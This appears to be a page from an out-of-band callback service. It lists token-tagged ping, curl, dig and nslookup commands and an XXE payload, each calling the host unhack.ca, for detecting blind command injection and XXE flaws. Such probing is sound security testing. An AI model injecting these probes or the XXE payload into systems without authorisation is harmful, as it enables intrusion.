$ ping -c1 -p 006a74a44473c4f2fd3bb2b0c7fceb00 unhack.ca
 
$ curl http://unhack.ca/p/6a74a44473c4f2fd3bb2b0c7fceb
 
$ dig 6a74a44473c4f2fd3bb2b0c7fceb @unhack.ca
 
$ dig 6a74a44473c4f2fd3bb2b0c7fceb.ns.unhack.ca
 
C:\> nslookup 6a74a44473c4f2fd3bb2b0c7fceb unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/6a74a44473c4f2fd3bb2b0c7fceb">]>
    <foo>&xxe;</foo>
Waiting for ping...